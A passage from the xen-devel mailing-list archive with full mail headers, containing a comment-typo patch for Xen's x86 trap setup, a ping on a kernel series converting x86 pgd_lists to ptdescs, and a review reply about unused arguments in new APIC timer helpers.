 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4bd9e4-5a27-0a2a45020019-d1558034b8e0-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 18:37:56 +0200
Received: by mail-wm1-f52.google.com with SMTP id
 5b1f17b1804b1-493c2b3dc8bso22605875e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 09:37:56 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493df703cb2sm3801955e9.1.2026.07.06.09.37.54
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 09:37:55 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783355876; x=1783960676; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:from:to:cc:subject:date:message-id:reply-to;
        bh=cjNRqrrJLk2W6SGzo8beliTyUJCqSZi+CwGes2sN5O0=;
        b=aRxfw7vMCwN+MiXm+CWeCw7tRWFMixtVct+EtIgQoeQCRYwtYGP0HJpXni9OnwFaya
         Cr6eEYaGPiY2qVbw4zkOwKsDafo1O4Cyn1CVslKMaI2mRjdN8E3lr7KSs4sPhuyK2mfD
         tgxrAKjNvQb3ne+UL534ZzvDEpM7qcgtuQFA8GwpDwEgw/xFbtNwXL0diVvQl3gcDiOj
         mxgSAHzFA/qo9Em1Ur/aCm/trPqESZjPDCYrOmPGzHqjhDkPuFIljvfrAxzaY48kVUgJ
         1wGkK7U+XeDITG9iGBbC2nktekP0lCt2nYMKOb2uvBgqPijGsy2Vaa277lEcV12sK2WL
         2BJQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783355876; x=1783960676;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=cjNRqrrJLk2W6SGzo8beliTyUJCqSZi+CwGes2sN5O0=;
        b=jEwpt0A2RAqYSWMWn5vbu5nJ9nUTkAfofSeJCj0KbTuq5NBobW2npAxBuNFYZlNOxF
         clpPrVx48Pb6IOYf2NUXSd991cd740Ox9zf0OxFoItguTcmqauLeJc9A0lZS0Kyzvrnr
         NTfsHe+XeanJ5t1FLtCb7Vb4ClZIT7HN8SODWckPAKG4MtZVUqs1tYkUlwM9J8/6ztq6
         kGGZm3T1I9I8TYIp3oSgElRL24dlNCvH7iJIPOlXvuZPdS/T+hI4fGXpp8DywUr15gaj
         hHSD++CpwWlpRsPKK+GROlGShy2igHghvkbwgO/1haKWX/x8Ypbu/Y7e65oHoW9U0Aoa
         IcMw==
X-Gm-Message-State: AOJu0YxVXWTLmUrjsA+gjj8T2HMd4hfKiqOue4af4o2I4hX681Rc2oed
	9HVsjzM0TQSed/615TDkDlK0xA7cwOaxoiK/TB0PdWLn9cbDwjobrGn3ODMBtqMeEtQ=
X-Gm-Gg: AfdE7clIhJKwxHWadnEKFXhhk3NphPlM/Yk1wuMFcZZOQY79lTfR6xH5fNX+0HaIje+
	VJthQR736r9pCLDG0NoTzDpwIeIX4qfwPGZguI7DTPvY4OYB9frJ1444gzscH5LLcPwMNdVtIR5
	e9CQTqjvlD1GW8cGCrh4cOA9mz8fpfJbvCP8ksE2NajDXGkgWfnxpkjLnkPSPQ7ah7D8NwhApSi
	B/poDL0hMLb3Ur8V1N28veVj8kOkinnBJlKCLzyYvF1TV7p9PI77BN+SE+7SwX2ZhTMt6TkEimD
	2qo1+t04XVUX9ndQ63ehPBPm/yW6MoT/W4fmfmWOdalUefNSPog+K1qpdLb7LHNrAbNjwkxwf65
	ks2fffXUAJhpTtNje+fCKa6QxhVwyDce+fHh40uFN1M1AoL5mXU/oCHXDUaMibbcMHqv2oILKA2
	Gwv0rZ/y2VsG8MHTuFMwWzvQCBlOM7f0wy59N7NfRpnLVJa6vMfjcMuW3SIRtA1HPcbTZadCoaC
	gOCo8U3bwO97TVoLLA=
X-Received: by 2002:a05:600c:3b0a:b0:493:c8c6:4989 with SMTP id 5b1f17b1804b1-493df062bb4mr14519425e9.6.1783355875718;
        Mon, 06 Jul 2026 09:37:55 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@cloud.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH] Fix typo in comment (indicies -> indices)
Date: Mon,  6 Jul 2026 17:37:50 +0100
Message-ID: <20260706163750.445797-1-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1783355876-566EE7C5-8E9BA3BE/0/0
X-purgate-type: clean
X-purgate-size: 634

From: Frediano Ziglio <frediano.ziglio@cloud.com>

Signed-off-by: Frediano Ziglio <frediano.ziglio@cloud.com>
---
 xen/arch/x86/traps-setup.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/xen/arch/x86/traps-setup.c b/xen/arch/x86/traps-setup.c
index a79a3b2013..3fe79ff0d0 100644
--- a/xen/arch/x86/traps-setup.c
+++ b/xen/arch/x86/traps-setup.c
@@ -245,7 +245,7 @@ static void __init init_ler(void)
 
     /*
      * Intel Pentium 4 is the only known CPU to not use the architectural MSR
-     * indicies.
+     * indices.
      */
     switch ( boot_cpu_data.vendor )
     {
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 17:49:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 17:49:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355774.1610535 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgnQz-0000Ee-Fx; Mon, 06 Jul 2026 17:48:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355774.1610535; Mon, 06 Jul 2026 17:48:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgnQz-0000EX-Cz; Mon, 06 Jul 2026 17:48:45 +0000
Received: by outflank-mailman (input) for mailman id 1355774;
 Mon, 06 Jul 2026 17:48:44 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vishal.moola@gmail.com>) id 1wgnQy-0000ER-Bf
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:48:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgnQx-0035tY-LZ
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 19:48:43 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vishal.moola@gmail.com>)
 id 6a4bea57-bab6-0a2a0a5309dd-0a2a4504a030-22
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 19:48:43 +0200
Received: from [209.85.216.47] (helo=mail-pj1-f47.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <vishal.moola@gmail.com>)
 id 6a4bea7a-a01d-0a2a45040019-d155d82fe547-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 19:48:43 +0200
Received: by mail-pj1-f47.google.com with SMTP id
 98e67ed59e1d1-38125cebfdaso4435704a91.1
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 10:48:43 -0700 (PDT)
Received: from fedora ([2601:644:937c:6c90:6d4e:7b2d:4a39:fb0c])
 by smtp.gmail.com with ESMTPSA id
 98e67ed59e1d1-3812801e8d6sm5515562a91.12.2026.07.06.10.48.40
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 10:48:40 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="In-Reply-To:Content-Disposition:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783360121; x=1783964921; darn=lists.xenproject.org;
        h=in-reply-to:content-disposition:content-type:mime-version
         :references:message-id:subject:cc:to:from:date:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=jHIujCKTOGPNugTb5N8DODxujrY7RJkaEbg7hUbcIIA=;
        b=aI2bD7BpUC+6e+iecmjhkZRQ5//M5a6ob9zPKO0NL4TSzUDfxj58T2r9pscpf8TmJK
         U8GG+EYclYVa7ck/A1mY9kGXfZuOgBM1sXdSgOwj39Cj01ygdgQVIJl2ClvvpomnD+DQ
         0INnDYUXBZGnrYAwwz6Ho0OGGePTBG3wQi2lRn7FdxR80tmC5KTl4hWF2MQJ2uRtI+/t
         VgGEu5k7J9NJ6xGcr/yld+novp7+qZqV71vjnDBr7zm4F3MQJzuGZyWHWMs2s6bHtBt8
         rbyRdnZSBrGWs+yDPgnZslTN1FMiwCQ25XvB1PrHG1n9bNOqH04K77/1mtrEqmKBhQZK
         2x/w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783360121; x=1783964921;
        h=in-reply-to:content-disposition:content-type:mime-version
         :references:message-id:subject:cc:to:from:date:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=jHIujCKTOGPNugTb5N8DODxujrY7RJkaEbg7hUbcIIA=;
        b=CeBlKAxeXCpjuA5IxnBnboGXOkoFHZfSNuw4LR9+uUtcqlxA5crGxdBatT4U6phTAh
         8OJhP9Wwg/8jlV5KXSiEfEpXFWeECoYYFqI/tpfE9rX9ZWxew1QL+hwlqebRYBOrC7bK
         iHcb4gMIzjZ/xIHwsK3Oaq1FpFatqlrZIK1zK/ximePYuNhFzuaGQFdwI/q3wbXKLBJm
         Gpby/RKnISs37WsCw5t/H3wWwNFIew4Lqhmeo0GKUdCUJbjpiMjkX2HYLvxD0AJ3REv4
         4kveryTGvJcyeNfZvD/9jjYYR8Y5NlOuWv56tRg78SrVmq37x2P1wCY0jmWfK++wOkOR
         LzCQ==
X-Forwarded-Encrypted: i=1; AHgh+Ro4cKamoHotqVnaJJW5TxGFesN2V/N63m4Ik3b4kN//czpKHKiTzsHp9NU9kT7wpaOGqptFa/0pwY0=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzNolzph7lGNQHpc1/fOf0awEj9O1SlYVmdBYfQWtyMQopKRUqH
	NbO/FuGhnYsMFLtUOtfY2CcTuKDCKByYzh6AAU46G6+mACW3HW8LwY/5
X-Gm-Gg: AfdE7cnHakCa0B9K5FJikE9bfKhgc4WRfu6pRxSX+jokEDxqTXuLQC6Aza88G7ujroM
	Rit6VnWp+a5ckdpVgIvzj6IZ3tCj0L5Mjl+dAK4MCpw3iM6QWgePlp5sB5pA17zdLu7o8254Dpg
	waDKwDcZot80Wjzl0JrXhTgPW131jhEj5I0wG2LoPiXi8JcBQTaAUoi6+XTc4D3PODNFu7Hlmyt
	Ra2Sx2wemyiOUJsFix8yfPmFeV7haKi6PcnB8G+JmsMbEj9fzA0TVwDnYUWdg3mVcZqXwAwOj8D
	hmQHSq10qlltmBlpCMZakiln94XM+KFEIB64tBLoanKaaXdXbI6VBxD2J81aEOucoZwSnAWAFZi
	HRhErZYnki9Jx08xXkxdK+/LraNtRKhKgcW0qRshCtkwvfYFzgLzwjFjx2ykJHXrtd83vBCIL/C
	3cMuioYkZd5xq6ixf0h2683k+5VB7f3d8234xzE+oyALRI
X-Received: by 2002:a17:90b:3f88:b0:37f:9ce1:cda4 with SMTP id 98e67ed59e1d1-38759019fc1mr1587029a91.26.1783360121520;
        Mon, 06 Jul 2026 10:48:41 -0700 (PDT)
Date: Mon, 6 Jul 2026 10:48:38 -0700
From: Vishal Moola <vishal.moola@gmail.com>
To: Dave Hansen <dave.hansen@intel.com>, linux-mm@kvack.org,
	linux-kernel@vger.kernel.org, x86@kernel.org
Cc: Mike Rapoport <rppt@kernel.org>, Lu Baolu <baolu.lu@linux.intel.com>,
	xen-devel@lists.xenproject.org, Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>,
	"H. Peter Anvin" <hpa@zytor.com>, Andy Lutomirski <luto@kernel.org>,
	Peter Zijlstra <peterz@infradead.org>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>
Subject: Re: [PATCH v2 0/9] Convert x86 pgd_lists to ptdescs
Message-ID: <akvqdoZI-jCn3lrk@fedora>
References: <20260629185742.126987-1-vishal.moola@gmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20260629185742.126987-1-vishal.moola@gmail.com>
X-purgate-ID: tlsNG-ebf023/1783360123-2E95B1CC-7252B663/0/0
X-purgate-type: clean
X-purgate-size: 2224

On Mon, Jun 29, 2026 at 11:57:33AM -0700, Vishal Moola wrote:
> This continues the ptdesc conversions for x86[1]. This is a necessary step
> in preparation for the separate allocation of ptdescs from struct page.
> Once ptdescs are not wrappers, the pgd_list should be used to find our
> ptdesc, not page.
> 
> In fact, after patch 4 we can successfully boot a 32-bit x86 kernel
> that separately allocates ptdescs.
> 
> All of the patches are rather straightforward, I just kept them split up
> for ease of review. There are no intended functional changes as ptdescs
> are currently still wrappers around struct page.
> 
> [1] https://lore.kernel.org/linux-mm/20260211195233.368497-1-vishal.moola@gmail.com/
> 
> ----------------
> 
> v2:
>   - Collect Review tags
>   - Rebase on 7.2-rc1
> 
> I've compiled and booted both 64 and 32 bit on a kernel with separately
> allocated ptdescs. I ensured the codepaths were hit for all the changes
> except Xen.
> 
> This applies cleanly to 7.2-rc1. Dave, can you please take this through
> the x86 mm tree?

Hi Dave, will you take this through your tree? Let me know if there
are any changes you'd like to see, or if you'd rather this go through
some other tree.

> Vishal Moola (9):
>   x86/mm/pat: Use IS_ENABLED() instead of ifdef
>   x86/mm/pat: Convert __set_pmd_pte() to ptdescs
>   x86/mm/pat: Convert collapse_pmd_page() to ptdescs
>   x86/mm: Convert arch_sync_kernel_mappings() to ptdescs
>   x86/mm: Convert sync_global_pgds_l5() to ptdescs
>   x86/mm: Convert sync_global_pgds_l4() to ptdescs
>   x86/mm: Convert pgd_page_get_mm() to ptdescs
>   x86/xen: Convert xen_mm_pin_all() to ptdescs
>   x86/xen: Convert xen_mm_unpin_all() to ptdescs
> 
>  arch/x86/include/asm/pgtable.h       |  2 +-
>  arch/x86/include/asm/pgtable_types.h |  2 +-
>  arch/x86/mm/fault.c                  |  8 ++++----
>  arch/x86/mm/init_64.c                | 16 ++++++++--------
>  arch/x86/mm/pat/set_memory.c         | 17 ++++++++---------
>  arch/x86/mm/pgtable.c                |  4 ++--
>  arch/x86/xen/mmu_pv.c                | 22 +++++++++++-----------
>  7 files changed, 35 insertions(+), 36 deletions(-)
> 
> -- 
> 2.54.0
> 


From xen-devel-bounces@lists.xenproject.org Mon Jul 06 18:00:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 18:00:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355785.1610545 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgncZ-00030w-Hb; Mon, 06 Jul 2026 18:00:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355785.1610545; Mon, 06 Jul 2026 18:00:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgncZ-00030p-DI; Mon, 06 Jul 2026 18:00:43 +0000
Received: by outflank-mailman (input) for mailman id 1355785;
 Mon, 06 Jul 2026 18:00:41 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3N-1LagYKCZoM84HD6AIIAF8.6IGR8H-78P8FFCMNM.R8HJLID86N.ILA@flex--seanjc.bounces.google.com>)
 id 1wgncX-00030i-FR
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 18:00:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgncW-00Ap2d-5l
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 20:00:40 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3N-1LagYKCZoM84HD6AIIAF8.6IGR8H-78P8FFCMNM.R8HJLID86N.ILA@flex--seanjc.bounces.google.com>)
 id 6a4bed32-2eae-0a2a0a5409dd-0a2a450587de-24
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 20:00:40 +0200
Received: from [209.85.210.201] (helo=mail-pf1-f201.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3N-1LagYKCZoM84HD6AIIAF8.6IGR8H-78P8FFCMNM.R8HJLID86N.ILA@flex--seanjc.bounces.google.com>)
 id 6a4bed38-3cb2-0a2a45050019-d155d2c9ed33-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 20:00:26 +0200
Received: by mail-pf1-f201.google.com with SMTP id
 d2e1a72fcca58-8478e9c4bd2so3477344b3a.1
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:00:25 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1783360824; x=1783965624; darn=lists.xenproject.org;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=eYcfhMi5NCPMduPSvGqKtbO87FaKSq3RfhmI47bcB1U=;
        b=C1CT7qcMpykNYW2n4oWTUAdRG0Hs3YAhyA3hp1NG5nD+X/Bh9aYDjQmgYCgSLgxZpJ
         QpAYg6JHJZjdtfGLpwq/mBA1aQ4yRBandYbHF6VwO9g7ajnMmhCCapudKeSvLgnCo3Yu
         DwE5rrWdai9el1xBxBjXbTtTRVErophhkywW+h+Rz4Hikfad+rzExvlr7KMNREZqZbEB
         UM6gVQyWaAomMial7xTYfcBvHVhoWAmMWD7FiXewCIo90ldETpYRFyc0YovaSrMQNbs0
         dRroBkDL0YC6Pqs314kQN6wOskO+10tDNRh4p63xpOVH8QcVO+lc6sk4S7043G+09str
         H8+g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783360824; x=1783965624;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=eYcfhMi5NCPMduPSvGqKtbO87FaKSq3RfhmI47bcB1U=;
        b=RAaNNsDVMTF+p1Vzaodkmr7WdECDKl87OEykflgJcfzugQdUTTNelWi9YoSPPeROst
         qkuenBHaasCUYf36jRcKmGoRxKJkjPY+9el3f+oezmMEZ49gtyecOP5fiMmnX57Ug+A4
         XP3ct/M5EvwGpMJTi4jTYRatdWhPHMaO6/6AXz8ga3AjEJE8qEt439NtX5rTtWPNnd2v
         AsYdqDNfyUlpUe9B3HYR4GWMnjB/avgny42Ln3htWX6PF50nJM+OTFFOA4WbmjWhaRc3
         PlzejQILcZh1gvit31WxntHwdIQgMpQWgyWCuUTfhvqqgfQjJ3slDa/UkBPHEjBVBtI0
         h0eA==
X-Forwarded-Encrypted: i=1; AHgh+RpHHaWiKnC0GOGFQ4+XCSfSO+ko/+AsRRP3Qq5KJDylNnIN1XivRn6fZzp4ma2azgic+HSY9VhT8UU=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yzf5Dkouz/QgrHSyJVLSq6B/fqY/g2jT3+9abthE+ptShRFARgh
	XL/l8rTDLR+d6YUrsQR8iL8LR+uvTzPT3rWaGd8ZfoGOlOKJKX8vLWYTkQEK7EZVHlvPZR1U1fW
	Kkpw6Wg==
X-Received: from pgam14.prod.google.com ([2002:a05:6a02:2b4e:b0:c92:460e:4f73])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a00:4307:b0:847:8c6d:2f24
 with SMTP id d2e1a72fcca58-84826ec2591mr1691676b3a.56.1783360823962; Mon, 06
 Jul 2026 11:00:23 -0700 (PDT)
Date: Mon, 6 Jul 2026 11:00:23 -0700
In-Reply-To: <SN6PR02MB41578D3C34AB283B892C27A4D4F52@SN6PR02MB4157.namprd02.prod.outlook.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com> <20260701193212.749551-2-seanjc@google.com>
 <SN6PR02MB41578D3C34AB283B892C27A4D4F52@SN6PR02MB4157.namprd02.prod.outlook.com>
Message-ID: <akvtN7aIjZ7gOq4o@google.com>
Subject: Re: [PATCH v5 01/51] x86/apic: Provide helpers to set local APIC
 timer period in hz and khz
From: Sean Christopherson <seanjc@google.com>
To: Michael Kelley <mhklinux@outlook.com>
Cc: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, "x86@kernel.org" <x86@kernel.org>, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	"K. Y. Srinivasan" <kys@microsoft.com>, Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>, 
	Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, 
	"linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>, "kvm@vger.kernel.org" <kvm@vger.kernel.org>, 
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>, 
	"linux-coco@lists.linux.dev" <linux-coco@lists.linux.dev>, 
	"linux-hyperv@vger.kernel.org" <linux-hyperv@vger.kernel.org>, 
	"virtualization@lists.linux.dev" <virtualization@lists.linux.dev>, 
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="us-ascii"
X-purgate-ID: tlsNG-c201ff/1783360826-15B092B8-3A6E25E6/0/0
X-purgate-type: clean
X-purgate-size: 1089

On Thu, Jul 02, 2026, Michael Kelley wrote:
> > @@ -796,6 +796,16 @@ bool __init apic_needs_pit(void)
> >  	return lapic_timer_period == 0;
> >  }
> > 
> > +void apic_set_timer_period_khz(u64 period_khz, const char *source)
> > +{
> > +	lapic_timer_period = mul_u64_u32_div(period_khz, 1000, HZ);
> > +}
> > +
> > +void apic_set_timer_period_hz(u64 period_hz, const char *source)
> > +{
> > +	lapic_timer_period = div_u64(period_hz, HZ);
> > +}
> 
> A string "source" argument is passed in, but not used. Is there an
> envisioned future use? Also, this function doesn't output a pr_info()
> message like the existing Hyper-V and VMware code does. 

It was a complete goof on my part (Sashiko also pointed out the oddity[*]).  I
fully intended to log a message and provide equivalent Hyper-V/VMware behavior,
and totally spaced it.

[*] https://lore.kernel.org/all/20260701194621.4BD691F000E9@smtp.kernel.org

> I don't know that the message is all that useful, though I do remember one
> case where I was debugging some clock/timer issue when I looked at it. 



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 22:30:11 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 22:30:11 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355818.1610554 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgrp3-0001Bd-9m; Mon, 06 Jul 2026 22:29:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355818.1610554; Mon, 06 Jul 2026 22:29:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgrp3-0001BW-62; Mon, 06 Jul 2026 22:29:53 +0000
Received: by outflank-mailman (input) for mailman id 1355818;
 Mon, 06 Jul 2026 22:29:51 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <gabi.qs.mail@gmail.com>) id 1wgrp1-0001BN-R6
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 22:29:51 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgroz-003ivo-BN
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 00:29:49 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <gabi.qs.mail@gmail.com>)
 id 6a4c2be1-bab6-0a2a0a5309dd-0a2a450ce122-34
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 00:29:49 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <gabi.qs.mail@gmail.com>)
 id 6a4c2c5d-f399-0a2a450c0019-d155802ae0f8-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 00:29:49 +0200
